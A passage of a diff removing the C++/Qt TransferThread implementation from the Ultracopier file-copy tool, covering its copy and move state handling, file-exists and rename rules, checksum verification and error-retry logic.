-//this next header is needed to change file time/date under gcc
-#include <utime.h>
-#include <time.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#endif
-
-#ifndef Q_OS_UNIX
-#include <windows.h>
-#endif
-
-TransferThread::TransferThread()
-{
- start();
- moveToThread(this);
- needSkip = false;
- transfer_stat = TransferStat_Idle;
- stopIt = false;
- fileExistsAction = FileExists_NotSet;
- alwaysDoFileExistsAction= FileExists_NotSet;
- readError = false;
- writeError = false;
- rsync = false;
- this->mkpathTransfer = mkpathTransfer;
- readThread.setWriteThread(&writeThread);
-
- connect(&clockForTheCopySpeed, SIGNAL(timeout()), this, SLOT(timeOfTheBlockCopyFinished()));
- maxTime=QDateTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
-}
-
-TransferThread::~TransferThread()
-{
- exit();
- disconnect(&readThread);
- disconnect(&writeThread);
- disconnect(this);
- wait();
-}
-
-void TransferThread::run()
-{
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start: "+QString::number((qint64)QThread::currentThreadId()));
- transfer_stat = TransferStat_Idle;
- stopIt = false;
- fileExistsAction = FileExists_NotSet;
- alwaysDoFileExistsAction= FileExists_NotSet;
- //the error push
- connect(&readThread,SIGNAL(error()), this, SLOT(getReadError()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(error()), this, SLOT(getWriteError()), Qt::QueuedConnection);
- //the thread change operation
- connect(this,SIGNAL(internalStartPreOperation()), this, SLOT(preOperation()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartPostOperation()), this, SLOT(postOperation()), Qt::QueuedConnection);
- //the state change operation
- //connect(&readThread,SIGNAL(readIsStopped()), &readThread, SLOT(postOperation()), Qt::QueuedConnection);//commented to do the checksum
- connect(&readThread,SIGNAL(opened()), this, SLOT(readIsReady()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(opened()), this, SLOT(writeIsReady()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(readIsStopped()), this, SLOT(readIsStopped()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(writeIsStopped()), this, SLOT(writeIsStopped()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(readIsStopped()), &writeThread, SLOT(endIsDetected()), Qt::QueuedConnection);
- //connect(&writeThread,SIGNAL(writeIsStopped()), &writeThread, SLOT(postOperation()), Qt::QueuedConnection);//commented to do the checksum
- connect(&readThread,SIGNAL(closed()), this, SLOT(readIsClosed()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(closed()), this, SLOT(writeIsClosed()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(reopened()), this, SLOT(writeThreadIsReopened()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(checksumFinish(QByteArray)), this, SLOT(readChecksumFinish(QByteArray)), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(checksumFinish(QByteArray)),this, SLOT(writeChecksumFinish(QByteArray)), Qt::QueuedConnection);
- //error management
- connect(&readThread,SIGNAL(isSeekToZeroAndWait()), this, SLOT(readThreadIsSeekToZeroAndWait()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(resumeAfterErrorByRestartAtTheLastPosition()), this, SLOT(readThreadResumeAfterError()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(resumeAfterErrorByRestartAll()), &writeThread, SLOT(flushAndSeekToZero()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(flushedAndSeekedToZero()), this, SLOT(readThreadResumeAfterError()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalTryStartTheTransfer()), this, SLOT(internalStartTheTransfer()), Qt::QueuedConnection);
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(&readThread,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),Qt::QueuedConnection);
- #endif
-
- exec();
-}
-
-TransferStat TransferThread::getStat()
-{
- return transfer_stat;
-}
-
-void TransferThread::startTheTransfer()
-{
- emit internalTryStartTheTransfer();
-}
-
-void TransferThread::internalStartTheTransfer()
-{
- if(transfer_stat==TransferStat_Idle)
- {
- if(mode!=Move)
- {
- /// \bug can pass here because in case of direct move on same media, it return to idle stat directly
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] can't start transfert at idle");
- }
- return;
- }
- if(transfer_stat==TransferStat_PostOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] can't start transfert at PostOperation");
- return;
- }
- if(transfer_stat==TransferStat_Transfer)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] can't start transfert at Transfer");
- return;
- }
- if(canStartTransfer)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] canStartTransfer is already set to true");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] check how start the transfer");
- canStartTransfer=true;
- if(readIsReadyVariable && writeIsReadyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start directly the transfer");
- ifCanStartTransfer();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start the transfer as delayed");
-}
-
-void TransferThread::setFiles(const QString &source,const qint64 &size,const QString &destination,const CopyMode &mode)
-{
- if(transfer_stat!=TransferStat_Idle)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- //to prevent multiple file alocation into ListThread::doNewActions_inode_manipulation()
- transfer_stat = TransferStat_PreOperation;
- //emit pushStat(stat,transferId);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start, source: "+source+", destination: "+destination);
- this->source = source;
- this->destination = destination;
- this->mode = mode;
- this->size = size;
- fileExistsAction = FileExists_NotSet;
- canStartTransfer = false;
- sended_state_preOperationStopped= false;
- canBeMovedDirectlyVariable = false;
- fileContentError = false;
- resetExtraVariable();
- emit internalStartPreOperation();
-}
-
-void TransferThread::setFileExistsAction(const FileExistsAction &action)
-{
- if(transfer_stat!=TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] action: "+QString::number(action));
- if(action!=FileExists_Rename)
- fileExistsAction = action;
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] rename at the wrong part, source: "+source+", destination: "+destination);
- if(action==FileExists_Skip)
- {
- skip();
- return;
- }
- resetExtraVariable();
- emit internalStartPreOperation();
-}
-
-void TransferThread::setFileRename(const QString &nameForRename)
-{
- if(transfer_stat!=TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] nameForRename: "+nameForRename);
- destinationInfo.setFile(destination);
- destination=destinationInfo.absolutePath();
- destination+=QDir::separator()+nameForRename;
- destinationInfo.setFile(destination);
- fileExistsAction = FileExists_NotSet;
- resetExtraVariable();
- emit internalStartPreOperation();
-}
-
-void TransferThread::setAlwaysFileExistsAction(const FileExistsAction &action)
-{
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] action to do always: "+QString::number(action));
- alwaysDoFileExistsAction=action;
-}
-
-void TransferThread::resetExtraVariable()
-{
- sended_state_readStopped = false;
- sended_state_writeStopped = false;
- writeError = false;
- readError = false;
- readIsReadyVariable = false;
- writeIsReadyVariable = false;
- readIsFinishVariable = false;
- writeIsFinishVariable = false;
- readIsClosedVariable = false;
- writeIsClosedVariable = false;
- needSkip = false;
- retry = false;
- readIsOpenVariable = false;
- writeIsOpenVariable = false;
-}
-
-void TransferThread::preOperation()
-{
- if(transfer_stat!=TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- needRemove=false;
- sourceInfo.setFile(source);
- destinationInfo.setFile(destination);
- if(isSame())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] is same"+source);
- return;
- }
- if(destinationExists())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] destination exists: "+source);
- return;
- }
- if(canBeMovedDirectly())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] need moved directly: "+source);
- canBeMovedDirectlyVariable=true;
- readThread.fakeOpen();
- writeThread.fakeOpen();
- return;
- }
- tryOpen();
-}
-
-void TransferThread::tryOpen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start source and destination: "+source+" and "+destination);
- if(!readIsOpenVariable)
- {
- readError=false;
- readThread.open(source,mode);
- }
- if(!writeIsOpenVariable)
- {
- writeError=false;
- writeThread.open(destination,size,osBuffer && (!osBufferLimited || (osBufferLimited && size<osBufferLimit)));
- }
-}
-
-bool TransferThread::isSame()
-{
- //check if source and destination is not the same
- if(sourceInfo==destinationInfo)
- {
- emit fileAlreadyExists(sourceInfo,destinationInfo,true);
- return true;
- }
- return false;
-}
-
-bool TransferThread::destinationExists()
-{
- //check if destination exists
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] overwrite: "+QString::number(fileExistsAction)+", always action: "+QString::number(alwaysDoFileExistsAction));
- if(alwaysDoFileExistsAction==FileExists_Overwrite || rsync || readError || writeError)
- return false;
- if(destinationInfo.exists())
- {
- if(fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_Skip)
- {
- transfer_stat=TransferStat_Idle;
- emit postOperationStopped();
- return true;
- }
- if(alwaysDoFileExistsAction==FileExists_Rename)
- {
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- return false;
- }
- if(fileExistsAction==FileExists_OverwriteIfNewer || (fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_OverwriteIfNewer))
- {
- if(destinationInfo.lastModified()<sourceInfo.lastModified())
- return false;
- else
- {
- transfer_stat=TransferStat_Idle;
- emit postOperationStopped();
- return true;
- }
- }
- if(fileExistsAction==FileExists_OverwriteIfNotSameModificationDate || (fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_OverwriteIfNotSameModificationDate))
- {
- if(destinationInfo.lastModified()!=sourceInfo.lastModified())
- return false;
- else
- {
- transfer_stat=TransferStat_Idle;
- emit postOperationStopped();
- return true;
- }
- }
- if(fileExistsAction==FileExists_NotSet)
- {
- emit fileAlreadyExists(sourceInfo,destinationInfo,false);
- return true;
- }
- }
- return false;
-}
-
-void TransferThread::tryMoveDirectly()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start the system move");
-
- //move if on same mount point
- QFile sourceFile(sourceInfo.absoluteFilePath());
- QFile destinationFile(destinationInfo.absoluteFilePath());
- if(destinationFile.exists() && !destinationFile.remove())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+destinationFile.fileName()+", error: "+destinationFile.errorString());
- emit errorOnFile(destinationInfo,destinationFile.errorString());
- return;
- }
- QDir dir(destinationInfo.absolutePath());
- {
- mkpathTransfer->acquire();
- if(!dir.exists())
- dir.mkpath(destinationInfo.absolutePath());
- mkpathTransfer->release();
- }
- if(!sourceFile.rename(destinationFile.fileName()))
- {
- if(sourceFile.exists())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file not not exists %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
- else if(!dir.exists())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("destination folder not exists %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("unable to do real move %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
- emit errorOnFile(sourceFile,sourceFile.errorString());
- return;
- }
- readThread.fakeReadIsStarted();
- writeThread.fakeWriteIsStarted();
- readThread.fakeReadIsStopped();
- writeThread.fakeWriteIsStopped();
-}
-
-bool TransferThread::canBeMovedDirectly()
-{
- //move if on same mount point
- #if defined (Q_OS_LINUX) || defined (Q_OS_WIN32)
- if(mode!=Move)
- return false;
- if(mountSysPoint.size()==0)
- return false;
- if(getDrive(destinationInfo.fileName())==getDrive(sourceInfo.fileName()))
- return true;
- #endif
- return false;
-}
-
-void TransferThread::readIsReady()
-{
- if(readIsReadyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readIsReadyVariable=true;
- readIsOpenVariable=true;
- readIsClosedVariable=false;
- ifCanStartTransfer();
-}
-
-void TransferThread::ifCanStartTransfer()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] readIsReadyVariable: "+QString::number(readIsReadyVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable));
- if(readIsReadyVariable && writeIsReadyVariable)
- {
- transfer_stat=TransferStat_WaitForTheTransfer;
- sended_state_readStopped = false;
- sended_state_writeStopped = false;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stat=WaitForTheTransfer");
- if(!sended_state_preOperationStopped)
- {
- sended_state_preOperationStopped=true;
- emit preOperationStopped();
- }
- if(canStartTransfer)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stat=Transfer");
- transfer_stat=TransferStat_Transfer;
- if(!canBeMovedDirectlyVariable)
- {
- needRemove=true;
- readThread.startRead();
- }
- else
- tryMoveDirectly();
- emit pushStat(transfer_stat,transferId);
- }
- //else
- //emit pushStat(stat,transferId);
- }
-}
-
-void TransferThread::writeIsReady()
-{
- if(writeIsReadyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- writeIsReadyVariable=true;
- writeIsOpenVariable=true;
- writeIsClosedVariable=false;
- ifCanStartTransfer();
-}
-
-
-//set the copy info and options before runing
-void TransferThread::setRightTransfer(const bool doRightTransfer)
-{
- this->doRightTransfer=doRightTransfer;
-}
-
-//set keep date
-void TransferThread::setKeepDate(const bool keepDate)
-{
- this->keepDate=keepDate;
-}
-
-//set the current max speed in KB/s
-void TransferThread::setMaxSpeed(int maxSpeed)
-{
- int interval=readThread.setMaxSpeed(maxSpeed);
- writeThread.setMaxSpeed(maxSpeed);
- if(maxSpeed>0)
- {
- clockForTheCopySpeed.setInterval(interval);
- if(!clockForTheCopySpeed.isActive())//seam useless !this->isFinished()
- clockForTheCopySpeed.start();
- }
- else
- {
- if(clockForTheCopySpeed.isActive())
- clockForTheCopySpeed.stop();
- }
-}
-
-//set block size in KB
-bool TransferThread::setBlockSize(const unsigned int blockSize)
-{
- this->blockSize=blockSize;
- return readThread.setBlockSize(blockSize) && writeThread.setBlockSize(blockSize);
-}
-
-//pause the copy
-void TransferThread::pause()
-{
- if(transfer_stat==TransferStat_Idle)
- return;
- readThread.pause();
-}
-
-//resume the copy
-void TransferThread::resume()
-{
- if(transfer_stat==TransferStat_Idle)
- return;
- readThread.resume();
-}
-
-//stop the current copy
-void TransferThread::stop()
-{
- stopIt=true;
- if(transfer_stat==TransferStat_Idle)
- return;
- readThread.stop();
- writeThread.stop();
-}
-
-void TransferThread::readIsFinish()
-{
- if(readIsFinishVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readIsFinishVariable=true;
- canStartTransfer=false;
- //check here if need start checksuming or not
- real_doChecksum=doChecksum && (!checksumOnlyOnError || fileContentError);
- if(real_doChecksum)
- {
- readIsFinishVariable=false;
- transfer_stat=TransferStat_Checksum;
- sourceChecksum=QByteArray();
- destinationChecksum=QByteArray();
- readThread.startCheckSum();
- }
- else
- {
- transfer_stat=TransferStat_PostTransfer;
- readThread.postOperation();
- }
- emit pushStat(transfer_stat,transferId);
-}
-
-void TransferThread::writeIsFinish()
-{
- if(writeIsFinishVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- writeIsFinishVariable=true;
- //check here if need start checksuming or not
- if(real_doChecksum)
- {
- writeIsFinishVariable=false;
- transfer_stat=TransferStat_Checksum;
- writeThread.startCheckSum();
- }
- else
- writeThread.postOperation();
-}
-
-void TransferThread::readChecksumFinish(const QByteArray& checksum)
-{
- sourceChecksum=checksum;
- compareChecksum();
-}
-
-void TransferThread::writeChecksumFinish(const QByteArray& checksum)
-{
- destinationChecksum=checksum;
- compareChecksum();
-}
-
-void TransferThread::compareChecksum()
-{
- if(sourceChecksum.size()==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] the checksum of source is missing");
- return;
- }
- if(destinationChecksum.size()==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] the checksum of destination is missing");
- return;
- }
- if(sourceChecksum==destinationChecksum)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] the checksum match");
- readThread.postOperation();
- writeThread.postOperation();
- transfer_stat=TransferStat_PostTransfer;
- emit pushStat(transfer_stat,transferId);
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] the checksum not match");
- //emit error here, and wait to resume
- emit errorOnFile(destinationInfo,tr("The checksums not match"));
- }
-}
-
-void TransferThread::readIsClosed()
-{
- if(readIsClosedVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readIsClosedVariable=true;
- checkIfAllIsClosed();
-}
-
-void TransferThread::writeIsClosed()
-{
- if(writeIsClosedVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- writeIsClosedVariable=true;
- checkIfAllIsClosed();
-}
-
-bool TransferThread::checkIfAllIsClosed()
-{
- if((readError || writeError) && !needSkip)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] resolve error before progress");
- return false;
- }
- if((!readIsReadyVariable || readIsClosedVariable) && (!writeIsReadyVariable || writeIsClosedVariable))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit internalStartPostOperation() to do the real post operation");
- transfer_stat=TransferStat_PostOperation;
- //emit pushStat(stat,transferId);
- emit internalStartPostOperation();
- return true;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] "+QString("wait self close: readIsReadyVariable: %1, readIsClosedVariable: %2, writeIsReadyVariable: %3, writeIsClosedVariable: %4")
- .arg(readIsReadyVariable)
- .arg(readIsClosedVariable)
- .arg(writeIsReadyVariable)
- .arg(writeIsClosedVariable)
- );
- return false;
- }
-}
-
-/// \todo found way to retry that's
-/// \todo the rights copy
-void TransferThread::postOperation()
-{
- if(transfer_stat!=TransferStat_PostOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] need be in transfer, source: "+source+", destination: "+destination+", stat:"+QString::number(transfer_stat));
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- //all except closing
- if((readError || writeError) && !needSkip)//normally useless by checkIfAllIsFinish()
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] resume after error");
- return;
- }
-
- if(!needSkip)
- {
- if(!doFilePostOperation())
- return;
-
- //remove source in moving mode
- if(mode==Move && !canBeMovedDirectlyVariable)
- {
- if(QFile::exists(destination))
- {
- QFile sourceFile(source);
- if(!sourceFile.remove())
- {
- emit errorOnFile(sourceInfo,sourceFile.errorString());
- return;
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] try remove source but destination not exists!");
- }
- }
- else//do difference skip a file and skip this error case
- {
- if(needRemove && QFile::exists(destination))
- {
- QFile destinationFile(destination);
- if(!destinationFile.remove())
- {
- //emit errorOnFile(sourceInfo,destinationFile.errorString());
- //return;
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] try remove destination but not exists!");
- }
- transfer_stat=TransferStat_Idle;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit postOperationStopped()");
- emit postOperationStopped();
-}
-
-bool TransferThread::doFilePostOperation()
-{
- //do operation needed by copy
- if(!canBeMovedDirectlyVariable)
- {
- //set the time if no write thread used
- if(keepDate)
- changeFileDateTime(destination,source);//can't do that's after move because after move the source not exist
- /*
- ignore it, because need correct management, mainly with move
- if(!)
- {
- emit errorOnFile(destinationInfo,tr("Unable to change the date"));//destination.errorString()
- return false;
- }*/
- }
-
- if(stopIt)
- return false;
-
- return true;
-}
-
-//////////////////////////////////////////////////////////////////
-/////////////////////// Error management /////////////////////////
-//////////////////////////////////////////////////////////////////
-
-void TransferThread::getWriteError()
-{
- if(writeError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already in write error!");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- fileContentError = true;
- writeError = true;
- writeIsReadyVariable = false;
- writeError_source_seeked = false;
- writeError_destination_reopened = false;
- emit errorOnFile(destinationInfo,writeThread.errorString());
-}
-
-void TransferThread::getReadError()
-{
- if(readError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already in read error!");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- fileContentError = true;
- readError = true;
- writeIsReadyVariable = false;
- readIsReadyVariable = false;
- emit errorOnFile(sourceInfo,readThread.errorString());
-}
-
-//retry after error
-void TransferThread::retryAfterError()
-{
- //opening error
- if(transfer_stat==TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] is not idle, source: "+source+", destination: "+destination+", stat: "+QString::number(transfer_stat));
- tryOpen();
- return;
- }
- //data streaming error
- if(transfer_stat!=TransferStat_PostOperation && transfer_stat!=TransferStat_Transfer && transfer_stat!=TransferStat_Checksum)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] is not idle, source: "+source+", destination: "+destination+", stat: "+QString::number(transfer_stat));
- return;
- }
- if(canBeMovedDirectlyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] retry the system move");
- tryMoveDirectly();
- return;
- }
- if(transfer_stat==TransferStat_Checksum)
- {
- if(writeError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the write error");
- writeThread.reopen();
- }
- else if(readError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the read error");
- readThread.reopen();
- }
- else //only checksum difference
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] retry all the transfer");
- canStartTransfer=true;
- ifCanStartTransfer();
- }
- return;
- }
- if(writeError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the write error");
- readThread.seekToZeroAndWait();
- writeThread.reopen();
- }
- else if(readError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the read error");
- readThread.reopen();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unknow error resume");
-}
-
-void TransferThread::writeThreadIsReopened()
-{
- if(writeError_destination_reopened)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- writeError_destination_reopened=true;
- if(transfer_stat==TransferStat_Checksum)
- {
- writeThread.startCheckSum();
- return;
- }
- if(writeError_source_seeked && writeError_destination_reopened)
- resumeTransferAfterWriteError();
-}
-
-void TransferThread::readThreadIsSeekToZeroAndWait()
-{
- if(writeError_source_seeked)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- writeError_source_seeked=true;
- if(writeError_source_seeked && writeError_destination_reopened)
- resumeTransferAfterWriteError();
-}
-
-void TransferThread::resumeTransferAfterWriteError()
-{
- writeError=false;
-/********************************
- if(canStartTransfer)
- readThread.startRead();
-useless, because the open destination event
-will restart the transfer as normal
-*********************************/
-/*********************************
-if(!canStartTransfer)
- stat=WaitForTheTransfer;
-useless because already do at open event
-**********************************/
- //if is in wait
- if(!canStartTransfer)
- emit checkIfItCanBeResumed();
-}
-
-void TransferThread::readThreadResumeAfterError()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readError=false;
- writeIsReady();
- readIsReady();
-}
-
-//////////////////////////////////////////////////////////////////
-///////////////////////// Normal event ///////////////////////////
-//////////////////////////////////////////////////////////////////
-
-void TransferThread::readIsStopped()
-{
- if(!sended_state_readStopped)
- {
- sended_state_readStopped=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit readIsStopped()");
- emit readStopped();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] drop dual read stopped");
- readIsFinish();
-}
-
-void TransferThread::writeIsStopped()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(!sended_state_writeStopped)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit writeStopped()");
- sended_state_writeStopped=true;
- emit writeStopped();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] double event dropped");
- writeIsFinish();
-}
-
-void TransferThread::timeOfTheBlockCopyFinished()
-{
- readThread.timeOfTheBlockCopyFinished();
-}
-
-//get drive of an file or folder
-QString TransferThread::getDrive(QString fileOrFolder)
-{
- for (int i = 0; i < mountSysPoint.size(); ++i) {
- if(fileOrFolder.startsWith(mountSysPoint.at(i)))
- return mountSysPoint.at(i);
- }
- //if unable to locate the right mount point
- return "";
-}
-
-//set drive list, used in getDrive()
-void TransferThread::setDrive(QStringList drives)
-{
- mountSysPoint=drives;
-}
-
-//fonction to edit the file date time
-bool TransferThread::changeFileDateTime(const QString &source,const QString &destination)
-{
- /*
- if(maxTime>=sourceInfo.lastModified())
- return;
- */
